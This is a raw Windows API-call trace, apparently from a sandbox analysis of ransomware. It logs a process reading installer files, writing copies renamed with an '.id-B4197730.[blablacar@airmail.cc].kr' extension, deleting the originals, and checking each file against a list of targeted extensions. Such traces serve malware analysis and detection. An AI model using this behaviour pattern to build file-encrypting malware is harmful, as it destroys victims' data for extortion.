[0091.568] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0091.568] SetEndOfFile (hFile=0x328) returned 1 [0091.568] CloseHandle (hObject=0x328) returned 1 [0091.572] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.572] SetEndOfFile (hFile=0x34c) returned 1 [0091.574] CloseHandle (hObject=0x34c) returned 1 [0091.574] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0091.574] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0091.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.575] lstrlenW (lpString=".doc") returned 4 [0091.575] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.575] lstrlenW (lpString=".docx") returned 5 [0091.575] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0091.575] lstrlenW (lpString=".pdf") returned 4 [0091.575] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.575] lstrlenW (lpString=".xls") returned 4 [0091.575] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.575] lstrlenW (lpString=".xlsx") returned 5 [0091.575] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0091.575] lstrlenW (lpString=".ppt") returned 4 [0091.575] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.575] lstrlenW (lpString=".zip") returned 4 [0091.575] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.575] lstrlenW (lpString=".rar") returned 4 [0091.575] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.575] lstrlenW (lpString=".bz2") returned 4 [0091.575] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.575] lstrlenW (lpString=".7z") returned 3 [0091.575] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.575] lstrlenW (lpString=".dbf") returned 4 [0091.575] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.576] lstrlenW (lpString=".1cd") returned 4 [0091.576] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.576] lstrlenW (lpString=".jpg") returned 4 [0091.576] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.576] lstrlenW (lpString=".doc") returned 4 [0091.576] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.576] lstrlenW (lpString=".docx") returned 5 [0091.576] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0091.576] lstrlenW (lpString=".pdf") returned 4 [0091.576] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.576] lstrlenW (lpString=".xls") returned 4 [0091.576] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.576] lstrlenW (lpString=".xlsx") returned 5 [0091.576] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0091.576] lstrlenW (lpString=".ppt") returned 4 [0091.576] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.576] lstrlenW (lpString=".zip") returned 4 [0091.576] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.576] lstrlenW (lpString=".rar") returned 4 [0091.576] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.576] lstrlenW (lpString=".bz2") returned 4 [0091.577] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.577] lstrlenW (lpString=".7z") returned 3 [0091.577] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.577] lstrlenW (lpString=".dbf") returned 4 [0091.577] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.577] lstrlenW (lpString=".1cd") returned 4 [0091.577] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0091.577] lstrlenW (lpString=".jpg") returned 4 [0091.577] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.577] lstrcmpiW (lpString1=".exe", lpString2=".kr") returned -1 [0091.577] lstrlenW (lpString="Setup.exe") returned 9 [0091.577] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0091.578] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=78152) returned 1 [0091.578] CloseHandle (hObject=0x34c) returned 1 [0091.578] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0091.578] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.578] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0092.259] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.259] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0092.259] GetLastError () returned 0x0 [0092.260] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x13148, lpOverlapped=0x0) returned 1 [0092.262] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x13150, lpOverlapped=0x0) returned 1 [0092.265] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.265] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0092.265] SetEndOfFile (hFile=0x358) returned 1 [0092.265] CloseHandle (hObject=0x358) returned 1 [0092.267] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.267] SetEndOfFile (hFile=0x34c) returned 1 [0092.269] CloseHandle (hObject=0x34c) returned 1 [0092.269] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0092.287] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0092.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.287] lstrlenW (lpString=".doc") returned 4 [0092.287] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.287] lstrlenW (lpString=".docx") returned 5 [0092.287] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0092.287] lstrlenW (lpString=".pdf") returned 4 [0092.287] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.287] lstrlenW (lpString=".xls") returned 4 [0092.287] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.288] lstrlenW (lpString=".xlsx") returned 5 [0092.288] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0092.288] lstrlenW (lpString=".ppt") returned 4 [0092.288] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.288] lstrlenW (lpString=".zip") returned 4 [0092.288] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.288] lstrlenW (lpString=".rar") returned 4 [0092.288] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.288] lstrlenW (lpString=".bz2") returned 4 [0092.288] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.288] lstrlenW (lpString=".7z") returned 3 [0092.288] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.288] lstrlenW (lpString=".dbf") returned 4 [0092.288] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.288] lstrlenW (lpString=".1cd") returned 4 [0092.288] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.288] lstrlenW (lpString=".jpg") returned 4 [0092.288] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.288] lstrlenW (lpString=".doc") returned 4 [0092.288] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.288] lstrlenW (lpString=".docx") returned 5 [0092.288] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0092.288] lstrlenW (lpString=".pdf") returned 4 [0092.288] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.288] lstrlenW (lpString=".xls") returned 4 [0092.289] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.289] lstrlenW (lpString=".xlsx") returned 5 [0092.289] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0092.289] lstrlenW (lpString=".ppt") returned 4 [0092.289] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.289] lstrlenW (lpString=".zip") returned 4 [0092.289] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.289] lstrlenW (lpString=".rar") returned 4 [0092.289] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.289] lstrlenW (lpString=".bz2") returned 4 [0092.289] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.289] lstrlenW (lpString=".7z") returned 3 [0092.289] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.289] lstrlenW (lpString=".dbf") returned 4 [0092.289] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.289] lstrlenW (lpString=".1cd") returned 4 [0092.289] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0092.289] lstrlenW (lpString=".jpg") returned 4 [0092.289] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.289] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0092.290] lstrlenW (lpString="SetupUi.dll") returned 11 [0092.290] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0092.290] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=295248) returned 1 [0092.290] CloseHandle (hObject=0x34c) returned 1 [0092.290] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0092.290] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.290] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0092.290] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.290] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.290] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0092.291] GetLastError () returned 0x0 [0092.291] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x48150, lpOverlapped=0x0) returned 1 [0092.555] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x48160, lpOverlapped=0x0) returned 1 [0092.563] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.563] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0092.563] SetEndOfFile (hFile=0x358) returned 1 [0092.563] CloseHandle (hObject=0x358) returned 1 [0092.580] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.580] SetEndOfFile (hFile=0x34c) returned 1 [0092.584] CloseHandle (hObject=0x34c) returned 1 [0092.584] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0092.585] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0092.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.585] lstrlenW (lpString=".doc") returned 4 [0092.585] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.586] lstrlenW (lpString=".docx") returned 5 [0092.586] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0092.586] lstrlenW (lpString=".pdf") returned 4 [0092.586] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.586] lstrlenW (lpString=".xls") returned 4 [0092.586] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.586] lstrlenW (lpString=".xlsx") returned 5 [0092.586] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0092.586] lstrlenW (lpString=".ppt") returned 4 [0092.586] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.586] lstrlenW (lpString=".zip") returned 4 [0092.586] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.586] lstrlenW (lpString=".rar") returned 4 [0092.586] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.586] lstrlenW (lpString=".bz2") returned 4 [0092.586] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.586] lstrlenW (lpString=".7z") returned 3 [0092.586] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.586] lstrlenW (lpString=".dbf") returned 4 [0092.586] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.587] lstrlenW (lpString=".1cd") returned 4 [0092.587] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.587] lstrlenW (lpString=".jpg") returned 4 [0092.587] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.587] lstrlenW (lpString=".doc") returned 4 [0092.587] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.587] lstrlenW (lpString=".docx") returned 5 [0092.587] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0092.587] lstrlenW (lpString=".pdf") returned 4 [0092.587] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.587] lstrlenW (lpString=".xls") returned 4 [0092.587] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.587] lstrlenW (lpString=".xlsx") returned 5 [0092.587] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0092.587] lstrlenW (lpString=".ppt") returned 4 [0092.587] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.587] lstrlenW (lpString=".zip") returned 4 [0092.588] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.588] lstrlenW (lpString=".rar") returned 4 [0092.588] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.588] lstrlenW (lpString=".bz2") returned 4 [0092.588] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.588] lstrlenW (lpString=".7z") returned 3 [0092.588] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.588] lstrlenW (lpString=".dbf") returned 4 [0092.588] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.588] lstrlenW (lpString=".1cd") returned 4 [0092.588] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0092.588] lstrlenW (lpString=".jpg") returned 4 [0092.588] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.588] lstrcmpiW (lpString1=".exe", lpString2=".kr") returned -1 [0092.588] lstrlenW (lpString="SetupUtility.exe") returned 16 [0092.588] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0092.589] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=96088) returned 1 [0092.589] CloseHandle (hObject=0x34c) returned 1 [0092.589] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0092.589] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.589] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0092.589] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.590] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.590] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0092.590] GetLastError () returned 0x0 [0092.590] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x17758, lpOverlapped=0x0) returned 1 [0092.962] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x17760, lpOverlapped=0x0) returned 1 [0092.965] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.965] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0092.966] SetEndOfFile (hFile=0x358) returned 1 [0092.966] CloseHandle (hObject=0x358) returned 1 [0092.969] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.969] SetEndOfFile (hFile=0x34c) returned 1 [0092.971] CloseHandle (hObject=0x34c) returned 1 [0092.971] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0092.971] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0093.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.269] lstrlenW (lpString=".doc") returned 4 [0093.269] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0093.269] lstrlenW (lpString=".docx") returned 5 [0093.269] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0093.269] lstrlenW (lpString=".pdf") returned 4 [0093.269] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0093.269] lstrlenW (lpString=".xls") returned 4 [0093.270] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0093.270] lstrlenW (lpString=".xlsx") returned 5 [0093.270] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0093.270] lstrlenW (lpString=".ppt") returned 4 [0093.270] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0093.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.270] lstrlenW (lpString=".zip") returned 4 [0093.270] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0093.270] lstrlenW (lpString=".rar") returned 4 [0093.270] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0093.270] lstrlenW (lpString=".bz2") returned 4 [0093.270] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0093.270] lstrlenW (lpString=".7z") returned 3 [0093.270] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0093.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.270] lstrlenW (lpString=".dbf") returned 4 [0093.270] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0093.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.270] lstrlenW (lpString=".1cd") returned 4 [0093.270] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0093.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.270] lstrlenW (lpString=".jpg") returned 4 [0093.270] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0093.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.271] lstrlenW (lpString=".doc") returned 4 [0093.271] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0093.271] lstrlenW (lpString=".docx") returned 5 